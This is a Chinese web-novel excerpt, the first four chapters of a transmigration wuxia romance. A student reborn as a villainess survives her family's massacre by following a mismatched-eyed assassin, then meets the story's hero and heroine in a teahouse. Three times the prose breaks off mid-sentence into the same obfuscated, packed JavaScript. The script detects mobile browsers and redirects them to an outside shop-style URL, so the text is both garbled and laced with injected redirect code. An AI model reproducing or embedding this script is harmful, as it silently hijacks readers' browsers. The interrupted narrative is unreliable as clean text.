《被人灭门后的生存攻略》 1. 初次相见 雨水顺着长满青苔的瓦片淌下,在檐角积成浑浊的水洼。挂在檐下的旧铃在狂风里挣命般响着,每一声都扯着破败江府里未散的血气。一道闪电劈开夜幕,瞬间照亮的宅邸里,横陈着数具残身,血水混着雨水,在地上蜿蜒出暗红色的脉络。 一堆残砖碎瓦下,身着淡绿衣衫的女子缓缓睁开了眼。 首先映入眼帘的,是一柄几乎抵住她左眼瞳仁的剑尖。血珠正沿着锋刃缓缓凝聚,将落未落。随后,撕裂般的剧痛才从四肢百骸苏醒,让她抑制不住地闷哼出声。 “有人花钱,买了你江家满门的命。” 持剑人的声音比浸透衣衫的雨水更冷。她吃力地将视线从剑尖上移开,看向说话的人。 那是个一身玄黑的少年,黑发高束,身形挺拔,乍看不过十七八岁的年纪。雨水将他身上的衣料浸出深暗的水光,几缕湿发贴在额前,然而最令人心悸的,是他异于常人的双眼——左眼是浓稠的血色,右眼则泛着蛇瞳般冰冷的翠绿。此刻,这双非人的眼眸正毫无波澜地俯视着她,如同审视一件死物。 “啊——!这是哪儿?!我靠,好疼!!!” 彻骨的恐惧和身体的疼痛让她脱口而出,嗓音尖利变形。 黑衣少年似乎对她的反应有一丝极细微的诧异,剑尖随之又逼近了半分,几乎触到她的睫毛。 濒死的刺激如同冰水灌顶,迫使混乱的记忆碎片疯狂涌现—— 江晚莲,普通高三生,几天前,被闺蜜塞了一本古风言情漫画。谁知这漫画不仅剧情崩坏烂尾,里面那个最招人恨的恶毒女配,还偏偏叫江晚怜,与自己名字仅一字之差。每次看到那女配为了引起原著男主李子遥的注意,而在女主叶玖面前各种作妖、仗着家世骄纵跋扈、动辄苛责下人的情节,江晚莲都觉得一阵膈应,这无疑成了她阅漫史上最讨厌的一部作品。 记忆停留在了自己在家学习太晚,便昏睡在了满是复习资料的书桌上。 可现在看来……她竟然穿成了这个自己最讨厌的角色!而且好死不死,正卡在江家被神秘杀手血洗的灭门之夜! 真是倒了八辈子的霉! “这、这位大哥……侠士!好汉!有话好商量!万事好商量啊哈哈哈……”求生的本能让她挤出一个比哭还难看的笑容,冷汗混着雨水滑落。 电光石火间,她认出了眼前人。 无忏,这部漫画里堪称bug级存在的反派。常年稳居江湖暗杀榜榜首,行踪成谜,要价极高,且传闻接下委托必索取代价,他身世成谜,背负沉重过往,是作者着墨不多却极具魅力的角色。尤其是那副冷峻神秘的样貌和复杂阴郁的气质,曾是江晚莲在这部糟心漫画里唯一的“追更动力”,结果最后作者还不给他一个好交代,就这么莫名其妙死了。 如今活生生、血淋淋地站在面前,带来的压迫感远超纸面。 “你身上流的,并非江家之血。”无忏忽然开口,冰冷的声音切断了她的纷乱思绪。他手腕一收,那柄滴血的长剑竟干脆利落地归入鞘中:“姑且,留你一命。” 说完,他转身便走,玄色身影就要融入门外沉沉的夜雨和血色之中。 不能让他走! 江晚怜脑中只剩下这一个念头。原著里,侥幸存活的原主就是因为重伤流落,无人庇护,才一步步走向那凄惨终局。眼前这人,是她此刻能抓住的、唯一的活路! “等等!你别走!”她也不知哪来的力气,忍着剧痛,猛地从瓦砾中撑起半个身子,狼狈爬出,原本高贵的衣裳沾染上血、泥,声音因为急切而拔高:“带上我!求你!” 无忏脚步未停,仿佛没听见。 眼看那身影就要消失在影壁之后,江晚怜心一横,用尽力气喊道:“我、我什么都能做!我吃得少,不挑食,很好养的!真的!” 前方那道身影终于停了下来。 他微微侧首,雨幕中看不清表情,只有冰冷的声音穿透雨帘传来:“我从不带累赘。” “我不是累赘!”江晚怜急忙道,脑子里飞速旋转,想着一切能打动对方的理由:“你看,你留我一命,这说明我命不该绝对吧?我们、我们这算是有缘!而且……而且我认得你!你是无忏!我知道你厉害,跟着你最安全了!”她开始语无伦次,只求对方能停下。 无忏转过身,一步步走回,雨水顺着他冷峻的轮廓滑落,那双异色的眸子在暗夜中更显妖异,他语气平淡:“然后呢?” “然后……”江晚怜被他看得心里发毛,但还是硬着头皮,挤出最诚恳的表情:“然后我觉得你是个好人!你刚才没杀我,还告诉我原因,这说明你讲道理!江湖上像你这么讲道理的厉害人物不多了!我、我就想跟着你,保证听话,绝对不给你添麻烦!”最后一句她说得斩钉截铁,虽然配上她此刻泥血满身、瑟瑟发抖的狼狈模样,实在没什么说服力。 无忏沉默地看着她,那目光像是在评估一件物品的价值,或者思考该如何处理一个麻烦。 就在江晚怜觉得快要被这沉默和冷雨冻僵时,他忽然开口:“想跟着我?” “想!”她点头如捣蒜。 “哪怕我杀人如麻,仇家遍地,所行皆是血腥之路?” “嗯!”江晚怜毫不犹豫,“总比死了烂在废墟里强!”这是她此刻最真实的想法。 无忏似乎极轻地笑了一下,但那笑意倏忽即逝,快得让她以为是错觉:“那你试试看吧。”他说,语气依旧没什么温度,“若能跟上,便让你暂时跟着。若跟不上……”他没说完,但未尽之意清晰明了。 江晚怜心头一松,还没来得及高兴,就见无忏已转身,这次是真的迈步离开了,速度并不快,却带着一种不容拖沓的决绝。 她不敢耽搁,咬牙忍着浑身散了架般的疼痛,手脚并用地从瓦砾堆里彻底爬出来。每动一下,受伤的地方都传来尖锐的刺痛,冰冷的雨水浸透单薄的衣衫,让她控制不住地发抖。她踉跄着站直身体,深一脚浅一脚地踩过血水泥泞的庭院,朝着前方那个玄色背影追去。 脚步虚浮,视线模糊。好几次她差点被地上杂物绊倒,又勉强稳住身形。雨水糊住了眼睛,死死盯着前方那点移动的玄色,那是她此刻全部的方向。 无忏始终没有回头,也没有放缓脚步,仿佛身后是否有人跟随,与他毫无干系。 眼看距离要被拉大,江晚怜急得不行,拼尽全力加快脚步,却脚下一滑,重重摔倒在地。泥水混着血水溅了满脸满身,手肘和膝盖传来火辣辣的痛楚。 前方的身影似乎顿了一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16978093|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 江晚怜心中一紧,生怕他就此彻底消失。她顾不得疼痛,手脚并用地爬起来,用近乎嘶哑的声音喊道:“等、等等我!我能跟上!真的!” 她没看到,前方无忏的唇角似乎几不可察地动了一下。 雨还在下,冲刷着这座刚刚经历屠戮的宅邸。江晚怜咬紧牙关,拖着疼痛不堪的身体,一步一步,艰难地追逐着那道仿佛永远置身事外的背影。 她知道这很狼狈,很没骨气,像极了死缠烂打。 但她更知道,在这陌生而残酷的世界里,活下去,比什么都重要。 而跟着他,是目前唯一清晰可见的生路。哪怕前路是刀山火海,是腥风血雨,她也得先跟上去再说。 至于以后…… 她看着雨幕中那道挺拔冷硬的背影,默默想:以后的事,以后再说,先赖上,总没错。 那道玄色的身影穿过月洞门,步入回廊,转眼便消失在曲折的暗影深处。湿滑的青石地面让她又踉跄了几下,手肘重重磕在廊柱上,痛得她眼前发黑。 等她喘着粗气拐进回廊,却发现无忏正站在廊下,望着她。雨水顺着廊檐倾泻而下,形成一道细密的水帘,将他与庭院里的血腥狼藉隔开,仿佛两个世界。 他没走。 江晚怜靠着冰凉的柱子,大口喘息,每一次呼吸都牵扯着胸腹间的闷痛。她不敢出声,生怕一点响动就会打破这微妙的平衡,让他改变主意。 雨声充斥耳膜,世界寂静得只剩下这一种声音。 良久,无忏才淡淡开口,声音比廊下的穿堂风更冷:“江家并非寻常商户,你可知今夜买凶的,是谁?” 江晚怜一愣,原著对江家灭门案的幕后黑手语焉不详,只知牵扯极深。她老实摇头:“……不知道。” “那你可知,江家真正的仇家,若知尚有活口,会如何?”他继续问,语气平淡得像在谈论天气。 江晚怜打了个寒颤。她当然能想到——斩草除根。 “现在,”无忏终于转过身,那双异色的眸子在廊下昏黄的残灯光晕中,沉淀着莫测的光:“你还要跟着么?跟着我,或许死得更快。” 江晚怜看着他。雨水打湿了他额前的碎发,有几缕贴在苍白的颊边,让他看起来少了些许逼人的锐利,却多了几分非人的妖异和疏离。她忽然想起漫画里关于他的一些只言片语的描述——无处可去之人。 这个认知奇异地给了她一点勇气。她深吸一口气,忍着疼痛站直了些,尽量让自己的声音听起来不那么颤抖:“我知道跟着你可能更危险……但我没得选。”她顿了顿,看着他的眼睛,一字一句道:“我一个人,活不下去,你是我……唯一能抓住的。” 这话说得直白又卑微,却是她最真实的处境。 无忏沉默地看着她,那目光似乎穿透了她的狼狈和恐惧,审视着更深层的东西。雨水敲打瓦片的声音规律而绵长,时间仿佛被拉得很慢。 就在江晚怜以为他会再次拒绝,或者干脆转身离去时,他却移开了视线,重新望向廊外漆黑的夜。 “天亮之前,城西半里外的破庙。”他语气依旧没什么起伏:“过时不候。” 她呆立了片刻,才消化掉他话中的意思——他给了她一个机会。 2. 启程 城西半里,荒郊野岭。 一座不知废弃了多少年的山神庙孤零零地杵在山道旁,庙墙斑驳,半扇木门斜挂在门框上,在夜风里发出吱呀的呻吟,庙内神像早已坍塌,只剩半个身躯歪在供台旁,空洞的眼眶望着漏雨的屋顶。 江晚怜几乎是爬进庙门的。 雨水将她彻底浇透,单薄的绿衣紧贴在身上,沉重又冰冷。身上的伤口每动一下都像有无数细针在扎。视线模糊,分不清是雨水还是汗水,或者两者都有。 她瘫坐在积满灰尘的草堆旁,靠着冰冷的土墙,大口大口地喘气。 居然,真的走到了。 “靠……累死我了,要是找到那小子我偏打死他不可,居然让一个伤者走这么远!”江晚怜咬咬牙,颤颤巍巍地越过门槛。 这一路是怎么撑过来的,她自己都有些恍惚。只记得不敢走大路,专挑偏僻小巷和荒野小径,跌跌撞撞,摔倒了就爬起来继续走。有好几次,她听见远处似乎有马蹄声和人声,吓得立刻躲进灌木或断墙后,屏住呼吸直到声音远去。 现在,她蜷在庙角的阴影里,听着屋顶漏雨滴答砸在地上的声音,身体控制不住地发抖,又冷、又饿、又痛。 “你刚刚说,要打死谁?”那人从坍塌的神像后走出,江晚怜猛地抬头,心脏骤然收紧,一道颀长的玄色身影,此时正抱着那把沾满罪人血的剑,悄无声息地出现在她面前,恰好挡在了将亮未亮的熹微晨光前。逆光中,她看不清他的脸,只能看见那熟悉的轮廓,和那双在昏暗中依然异常醒目的异色眼眸。 江晚怜瞬间愣住,早知道自己不说大话了,这个活阎王居然还听到了! “我错了我错了!再也不敢了!您大人有大量,不计小人———”她紧贴在墙角,话音未落,那人便从怀中掏出一药膏扔在她的怀里 江晚怜连忙接住,却听见无忏冷冰冰的话语: “上完药,立刻走。” 江晚怜皱了皱眉,心想:“这人没脑子吗!我可是伤者,也不多休息会。” 她小心翼翼地打开盒盖,一股浓烈而清苦的草药味立刻弥漫开来。药膏质地浓稠,她用手指剜了一些,试探性地涂抹在手臂一道较深的伤口上,预想中的刺痛没有到来,反而是一股沁入皮肉的清凉感迅速蔓延开来,有效地缓解了伤口火辣辣的灼痛。江晚怜松了口气,动作也稍微放开了些,将药膏仔细涂抹在几处主要的伤口上,最后,她撕下自己裙摆内侧相对干净的一小块布料,勉强包扎在右腿上。 刚打好一个歪歪扭扭的结,一片阴影便笼罩下来。 那人突然神不知鬼不觉的站在她身前,眼神犀利的看着自己,江晚怜差点没吓出声。 “弄好了?那便起身吧。”无忏毫不拖泥带水,转身就朝庙门口走去。 “不多待一会吗?” “……在一个地方待太久,对我没有益处。” 江晚怜一怔,随即反应过来。是啊,他是暗杀榜榜首,仇家可能比见过的人都多,自然是时刻保持移动,才能最大限度地减少风险,原著里他就像一缕没有根的影子,飘荡在江湖的阴影里。 他跨过门槛时,顿了顿说道:“你也可以选择在这里留下,当然…这是最后一次选择。” 江晚怜瞪大了眼,留下?留在这个前不着村后不着店的荒山破庙里,带着一身伤,身无分文,还可能被江家的仇家或官府追查!那和等死有什么区别?到手的大腿怎么能说不抱就不抱了!? 她赶忙站起身,说道:“我跟!我跟!” 那人却早已走远。 “哎!等等我!”她心里一慌,赶紧跌跌撞撞地追了出去。 庙外天色已然青灰,夜雨初歇,空气中弥漫着泥土和草木被洗涤后的清新气息,却也透着深秋清晨刺骨的寒意。无忏的玄衣几乎与尚未完全褪去的夜色融为一体。听到她仓促的脚步声,他并未回头,只是怀剑抬步向前走去。 江晚怜小跑了几步,才勉强跟在他身后几步远的距离。 江晚怜在后边有些无聊,毕竟她可是有被老师称为“话痨转世”的外号。于是她便壮了个胆,与无忏并肩走。 她清了清嗓子:“无大哥,我很好奇你怎么知道我不是江家人的?”这个问题她憋了一路了。原著里这个秘密埋得很深,无忏作为一个“外人”,在灭门夜就点破,实在有些蹊跷。 那人侧眼看了看她,但却沉默不言。 “那……那你真的就这么同意我跟你一起走了吗?”虽然这是她死缠烂打来的结果,但这反派是不是也太好说话了一点?不符合他危险莫测的人设啊。 只有一阵规则的脚步声在她耳边回荡。 “你——” “江晚怜,你太聒噪了。” …… 好吧,江晚怜悻悻地闭上了嘴,默默落后了半步,对着无忏那冷冰冰的背影,无声地做了个鬼脸,在心里把他那张好看却面瘫的脸吐槽了八百遍。 认清了现实,江晚怜暂时安分下来,开始将注意力转移到周围的环境和自身的处境上。肚子适时地发出“咕噜”一声轻响,在寂静的晨间格外清晰。她脸一热,赶紧捂住肚子,偷偷瞟了眼前面的无忏,见他毫无反应,才稍稍松了口气。 饿,好饿。从昨晚穿过来到现在,滴水未进,还经历了逃亡、受伤、淋雨、长途跋涉……体力早已透支殆尽。之前全靠一股求生欲撑着,现在稍微安全一点,饥饿感和虚弱感便如潮水般涌了上来。 她舔了舔干裂的嘴唇,目光不由自主地开始扫视路旁。可惜,这附近是荒野,全都是枯木枯草,连个野果也没有。 就在她琢磨着是不是该开口问问能不能找点吃的时候,走在前面的无忏却毫无征兆地停了下来。 江晚怜差点撞上他的后背,急忙刹住脚步,顺着他的目光向前望去。 却见前方不远处的岔路口,靠近官道的地方,不知何时支起了一个简陋的早点摊子。冒着热气的蒸笼,飘着油香的大铁锅,几张破旧的木桌条凳,在荒凉的清晨显得格外有烟火气。摊主是个头发花白的老汉,正佝偻着身子在灶前忙碌。 无忏只是淡淡地朝那边看了一眼,脚下方向不变,依然准备绕过摊子,继续沿着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16978094|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更偏僻的小路前行。 “等等!”江晚怜几乎是下意识地拉住了他的衣袖一角。 指尖触及的衣料略粗。无忏脚步一顿,低头,目光落在她拽住他衣袖的手指上,那眼神没什么情绪,却让江晚怜立刻像被烫到一样松开了手。 “那个……”她指了指早点摊,声音因为渴望而有些发干,眼巴巴地看着他:“我……我饿了,我们能不能……吃点东西再走?”她补充道:“我身上没钱……能不能……先借我一点?以后我一定还你!双倍还!” 无忏看着她。江晚怜一双眼因为期盼而亮得惊人,像某种执着盯着食物的小动物。 他沉默了片刻,就在江晚怜以为他又要吐出“聒噪”或者干脆无视她的时候,他却转身,径直朝着那个早点摊走了过去。 江晚怜愣了一秒,随即大喜过望,赶紧跟了上去。 早点摊的老汉看到走近的两人,尤其是无忏那身明显不同于他人的眼睛以及腰间佩剑,他下意识地缩了缩肩膀,脸上堆起有些僵硬的笑容:“二位客官……吃、吃点啥?” 热气腾腾的蒸笼里是粗面馒头,铁锅里翻滚着寡淡的菜粥,旁边还有一小碟咸菜。简陋,却是此刻江晚怜眼中无上的美味,她眼睛直勾勾地盯着那些食物,不自觉地咽了下口水。 无忏走到一张空桌旁坐下,将剑放在手边触手可及的位置,对老汉道:“两碗粥,一个馒头。” 他的声音不高,却带着一种不容置疑的平淡。老汉连忙应声,手脚麻利地盛粥拿馒头。 江晚怜在他对面坐下,双手规规矩矩地放在膝盖上,眼神却随着老汉的动作来回移动。当热粥和馒头被端上桌时,那朴素的食物香气让她几乎感动落泪。 江晚怜大口咬完最后一口馒头,满足地轻轻舒了口气,感觉身上恢复了些许力气,连伤口似乎都没那么疼了。她看了看无忏,他早已吃完那碗粥,正抱剑静坐,不知什么时候…他已经把钱付上了。 她小心问了问:“无大哥,我们接下来去哪儿啊?” “不知道。” 不知道!?江晚怜忍着愤怒挤出一个笑,再次问道:“你没逗我?” “……到栖鹊镇,完成任务。” 栖鹊镇,那不是男女主现在停留的地方吗?!按照原漫画的进度…男主李子遥和女主叶玖为了查到无忏的下落,一路找到了无忏下个任务点准备将他“捉拿归案”,虽然没有成功,但因为主角光环无忏还是受了些伤。 他起了身,脚步不容迟疑地往前,江晚怜见他这番,想必说什么无忏也不会听,搞不好自己命就这样搭进去了!便只好无声快步跟上。 另一边,江府。 “无忏呢?”身着深红衣袍的男人站与江府的废墟瓦片上。 “周围都找过了,除了一堆垃圾什么也没有,‘他们’这次居然下了这么大功夫,先是走水又是让无忏来下手。”同是身着深红衣袍的短发女子,半靠于断柱上,像是想到什么又说道:“江家当真灭门了?” 那人挥了挥衣袖,转身离开。 “不,还有一人。” 3. 不要过来啊! 栖鹊镇不大,却占着南北通衢的要道,白日里商旅行人往来不绝,算得上繁华。 无忏并未带江晚怜走热闹的镇门。他们绕过镇外疏林,沿着一条几近干涸的溪床,从镇子最西侧一道年久失修、半塌的土墙豁口悄无声息地进了镇。 脚下的路从溪床的碎石变成了泥泞的土径,又渐渐变为坑洼不平的石板路。两侧是低矮歪斜的棚屋,空气中弥漫着一股潮湿的霉味和牲畜粪便混合的气息。显然,这是栖鹊镇最偏僻破败的一角。 江晚怜紧跟在无忏身后,尽量放轻脚步,目光却忍不住四处打量。这里与镇子中心的热闹仿佛两个世界,行人稀少,偶尔有几个衣衫褴褛的孩童跑过,或是有坐在门槛上目光浑浊的老人望过来,那眼神里没有好奇,只有一种近乎麻木的漠然。 无忏的脚步不急不缓,方向却很明确。他仿佛对这里的路径极为熟悉,几次在狭窄的巷道里毫无迟疑地拐弯。 江晚怜心里那点关于“男女主可能在此”的忐忑,被眼前真实的、略带压抑的景象冲淡了些。她更关心的是另一件事——无忏口中的“任务”。 漫画里,无忏在栖鹊镇的任务是什么,她记不清细节了,只隐约记得与镇上一户颇有势力的乡绅有关,过程似乎并不顺利,还引来了正在追查他的李子遥和叶玖。最终无忏虽然完成了委托,却也负了伤,在主角们的追击下颇为狼狈地脱身。 现在,她这个意外出现的“变量”跟在旁边,剧情会怎么走? 就在她胡思乱想之际,走在前面的无忏忽然停住了脚步。 他们停在一条更显僻静的死胡同尽头,面前是一扇毫不起眼、漆皮剥落的木门。无忏没有敲门,只抬手在门板上,以一种特定的节奏轻轻叩了三下。 片刻,门从里面拉开一条缝。一个佝偻着背、眼皮耷拉的老仆探出半张脸,浑浊的眼睛飞快扫过无忏和他身后的江晚怜,尤其是在无忏那双异色眸子上顿了顿,随即垂下眼,无声地将门拉开得更大一些,侧身让开。 无忏迈步而入,江晚怜略一犹豫,也赶紧跟了进去。 门在身后轻轻合上,隔绝了外面的光线和声响。院内比外面看起来更窄小,只有一间正屋,檐下堆着些杂物,显得十分局促压抑。 老仆引着他们进了正屋,屋内光线昏暗,只点了一盏如豆的油灯。一个穿着绸衫、体态微胖、面色却透着灰败的中年男人正不安地坐在桌边,见到无忏进来,立刻站起身,脸上挤出一个殷勤又带着畏惧的笑容。 “您……您来了。”中年男人的声音有些发干,目光不由自主地飘向无忏怀中那柄看似朴素的长剑,又迅速移开:“这位是……?”他看向了江晚怜,眼神里带着疑惑和一丝不易察觉的审视。 “与你无关。”无忏的声音没有任何波澜,直截了当地切入正题:“位置。” 中年男人不敢多问,连忙压低声音道:“那人今日午时,会去镇里茶楼的二楼雅间‘听竹’……这是报酬。”他又从袖中摸出一裹银子。 无忏拿起那份沉甸甸地包裹扫了一眼,便丢给了江晚怜,整个过程干脆利落,没有一句多余的话。 “你觉得…这便够了?”他的瞳孔冷冷地盯着那人。 男人冷汗落下,只好再从袖中摸出一裹银子,无忏这次看都没看,直接往江晚怜身上丢了过去。 “这是把我当储物袋了!?”江晚怜这么想着。 交完钱,无忏就开始了行动。 江晚怜紧紧跟在无忏身后三步远的位置,脑子里却翻江倒海。栖鹊镇、男女主、无忏受伤——这些关键词搅在一起,让她心头乱成一团麻。 按照原剧情,李子遥和叶玖此时应该已经到了栖鹊镇两夜了并且已经知道江家灭门的事。这对原著中的“正义搭档”对无忏这种游离于法度之外的杀手向来秉持“除恶务尽”的态度。而栖鹊镇的任务,正是无忏在漫画中第一次负伤的情节——虽然伤得不重,却暴露了他并非真正无敌的弱点。 可现在多了个她,要是曾经被江晚怜欺负的女主知道自己灭门后还活着,不知道还会闹出什么事来。 “那个……”她忍不住开口,声音因为紧张而有些发干。 无忏没有回头,但脚步似乎放慢了一瞬。 江晚怜压低声音道:“无大哥,那个任务,能不能推了或者换个人去?” 这是她能想到最委婉的提醒了。 无忏侧过脸看她。晨光落进他异色的眼眸,左眼的血色被映得浅淡了些,右眼的翠绿却更加剔透。 “理由?”他问,语气依旧平淡。 “我、我就是觉得……”江晚怜脑子飞快转动:“你看,江家刚出事,咱们又是从那边过来的,说不定已经有人注意到我们的行踪了,栖鹊镇不算小地方,人多眼杂,万一……” “你在害怕?”无忏打断她。 江晚怜一噎。 “怕我被发现,牵连你?”他继续问,声音里听不出情绪,却让江晚怜莫名感到一阵寒意。 “不是!”她连忙摇头:“我是担心你!真的!”这话说得她自己都有点心虚,但确实有一半是真心的——无忏要是出事,她这根刚抱上的大腿可就没了。 无忏收回视线,目视前方。 “报酬已收。”他只说了这四个字。 那就是非去不可了。 可她该怎么办?眼睁睁看着他往剧情坑里跳? 正胡思乱想间,前方官道转弯处忽然传来一阵嘈杂的人声和马蹄声。江晚怜下意识地警惕起来,脚步也慢了下来。 无忏却仿佛没有听见,依旧保持着原有的步速向前。 转过弯,只见一小队人马正停在路边。五六个身着统一青色劲装的佩刀男子围着一辆马车,马车旁站着一个锦衣华服的中年胖子,正对着一个跪在地上的车夫模样的老人破口大骂: “没用的东西!车轴说断就断!误了老子的时辰,你担待得起吗?!” 那车夫连连磕头求饶:“老爷息怒!实在是这路不平,又连下几日雨……” “还敢顶嘴!”胖子一脚踹在车夫肩上,将他踢翻在地:“给我打!往死里打!” 两个青衣护卫应声上前,举起刀鞘就要往下砸。 江晚怜脚步一顿,心脏猛地揪紧。她下意识看向那头,那车夫看起来年过半百,瘦骨嶙峋,这一顿打下去,恐怕半条命就没了。 无忏走出几步,发现她没有跟上,终于停了下来。他没有回头,只是侧过脸,用余光扫了她一眼。那眼神冰冷得不带一丝温度。 她咬了咬嘴唇,视线在无忏的背影和那个被打得哀嚎连连的老人之间来回移动。理智告诉她,无忏是对的,他们这种“危险人物”不应该节外生枝。可那一声声惨叫像针一样扎进耳朵里…… 就在她天人交战之际,马车旁那胖子忽然注意到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16978095|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了路过的两人。他的目光先在无忏身上停留了一瞬,扫过他腰间的剑和异于常人的眼睛,脸上闪过一丝忌惮,随即移开。但当他的视线落到江晚怜身上时,眼睛却亮了起来。 江晚怜此刻虽然衣衫狼狈、下摆满是泥污,但依稀能看出原本衣料的质地不错,更别提她那张继承了原主姣好容貌的脸——即使沾了污迹,在晨光下依然透出一种我见犹怜的清丽。 胖子眼珠一转,忽然换上一副和蔼的表情,朝江晚怜招了招手:“这位姑娘,可是遇到了什么难处?需要帮忙吗?” 江晚怜一愣,还没来得及反应,就见那胖子已经带着两个护卫走了过来。他笑眯眯地打量着她,目光在她脸上身上来回逡巡,带着毫不掩饰的审视和贪婪。 “瞧姑娘这一身,可是遭了劫难?”他说着,竟伸手要来拉江晚怜的胳膊。 江晚怜脸色一变,后退一步躲开。她这才看清胖子那张油腻脸上的笑容有多虚伪,那双眼睛里闪烁的全是不怀好意。 “不用了,多谢。”她硬邦邦地说道,随后快步跟着无忏的背影离开。 “切……不识好歹的死娘们。” 午时,镇中茶馆, 江晚怜替无忏找了个绝佳的角落,这里能将茶馆的各个位置都看清,他们面前只一壶最寻常的粗茶,半口未动。 无忏静坐如石,目光低垂,仿佛只是寻常茶客。但他看似放松的指尖,始终离剑柄不过寸许。她的目光在楼梯口与雅间“听竹”紧闭的门扇间来回逡巡,既怕目标不来,更怕来的是意料之外的人。 时间在茶水的微凉和心跳的擂鼓中缓慢流逝。 楼梯处终于传来脚步声,不疾不徐。江晚怜下意识地屏住呼吸。上来的居然就是那个油腻胖子!那人目不斜视,径直走向“听竹”间。 就是他?江晚怜用眼神向无忏确认。 无忏几不可察地颔首。就在那人伸手推门的刹那—— 是一阵急促纷乱的脚步声从楼梯口传来。 江晚怜浑身一僵,猛地回头。 只见两人冲上二楼,一个是个英气勃勃的年轻男子,剑眉星目,正是原漫画的男主李子遥!而他身旁,那个身着鹅黄劲装、眉眼清丽却面带寒霜的少女,不是女主叶玖又是谁? 他们的目光如电,瞬间扫过全场,随即瞥见了角落里的无忏……以及江晚怜。 空气仿佛在这一刻凝固。 李子遥的视线在触及无忏那双异色眼眸的瞬间,瞳孔骤然收缩,手已按上腰间剑柄。叶玖更是脸色一变,失声低呼:“……无忏?!”她的目光随即落到无忏身旁的江晚怜脸上,先是疑惑,紧接着,像是认出了什么,震惊与难以置信之色迅速漫上她的眼眸。 “江……晚怜?”叶玖的声音带着一丝不易察觉的颤抖,更多的却是冰冷的锐利:“你竟还活着?” 完了。 江晚怜脑子里嗡的一声,最坏的情况,以一种猝不及防的方式砸在了眼前。无忏的任务目标近在咫尺,而追捕他的男女主也同时出现,甚至,连自己这个“已死之人”也被当场识破。 无忏缓缓站起身。他的动作依然平稳,却带起一股无形的、令人心悸的压迫感。他没有看如临大敌的李子遥和叶玖,也没有看僵在雅间门口、面如土色的目标,居然只是微微侧首,挑了挑眉。 江晚怜已经吓傻了,诧异的看向无忏:这人居然还笑得出来!?? 4. 鹊血惊茶 那一声“江晚怜”,落在死寂的茶楼二层,不亚于一道惊雷。 江晚怜只觉得叶玖那道锐利如冰锥的目光钉在自己脸上,带着难以置信的审视和随之升腾的、毫不掩饰的敌意与寒意。原主那些作死的记忆碎片不合时宜地闪现——刁难、嘲讽、对李子遥毫不掩饰的觊觎……每一桩都足够让身为女主角的叶玖对她厌恶入骨,更何况是“灭门夜”后本该“死去”的她,此刻竟站在江湖头号煞星身边。 解释?怎么解释?说自己是穿来的,跟原主不是一回事?谁会信? 她喉咙发紧,下意识地想往后躲,可脚下却像生了根。 相较于她的惊慌失措,无忏的反应简直平静得诡异。他甚至没有多看如临大敌的李子遥和叶玖一眼,那微挑的眉梢落下,异色的瞳孔重新聚焦,锁定的依旧是雅间门口那个面无人色、双腿打颤的那胖子贪官——他的任务目标。 时间,在此刻被拉扯出紧绷的弦。 “让开。”无忏的声音不高,却清晰地穿透了凝滞的空气。这句话,不知是对挡在“听竹”雅间路径上的李子遥和叶玖说的,还是对那抖如筛糠的胖子所言。 “无忏!”李子遥厉喝一声,长剑出鞘半尺,剑光雪亮,正气凛然:“江家血案未远,你又在此行凶害命?今日有我二人在,断不容你放肆!” 他身侧的叶玖也瞬间拔出腰间软剑,剑尖微颤,指向无忏,但眼角的余光却死死锁着江晚怜,声音更冷:“江晚怜,你与这人是何关系?江家灭门,你为何独活!”疑问之下,是深深的怀疑,江家刚遭大难,唯一幸存的女儿转眼便与凶手并肩而立,这情景由不得人不多想。 江晚怜百口莫辩,干站在那、嗓子却只能发出断断续续地音节。 无忏却皱了眉,他的耐心似乎终于耗尽。 ———动了! 没有任何预兆,那道墨色身影如同鬼魅般掠出,目标明确——直取雅间门口的目标!速度快得只在原地留下一道淡淡的残影。 “陈大人小心!”李子遥反应极快,厉喝声中,长剑化作一道匹练般的白光,斜刺里截向无忏!他出身名门正派,剑法光明正大,这一剑使得气势磅礴,瞬间封住了无忏大半去路。 “你!你竟认得本官!?那还不快速速护本官!”那胖子吓得在地,指着李子遥喊道。 叶玖几乎同时出手。她心思更细,见无忏直奔目标,软剑一抖,竟似蛟龙出海般,绕过半个弧度,疾点无忏后心要穴,攻其必救,与李子遥形成前后夹击之势!鹅黄色的身影灵动迅捷,带着一股清冽的锐气。 刹那间,无忏前冲之势未绝,面对前方李子遥气势如虹的一剑,他竟不闪不避,只是手腕一翻,那柄看似朴素的剑鞘已横在身前。 一声刺耳的金铁交鸣!李子遥势在必得的一剑,竟被他用剑鞘硬生生架住。巨大的力道让两人身形都是一晃,李子遥只觉剑身传来一股冰冷诡谲的劲力,震得他虎口微麻,心下不由骇然:好深的内力! 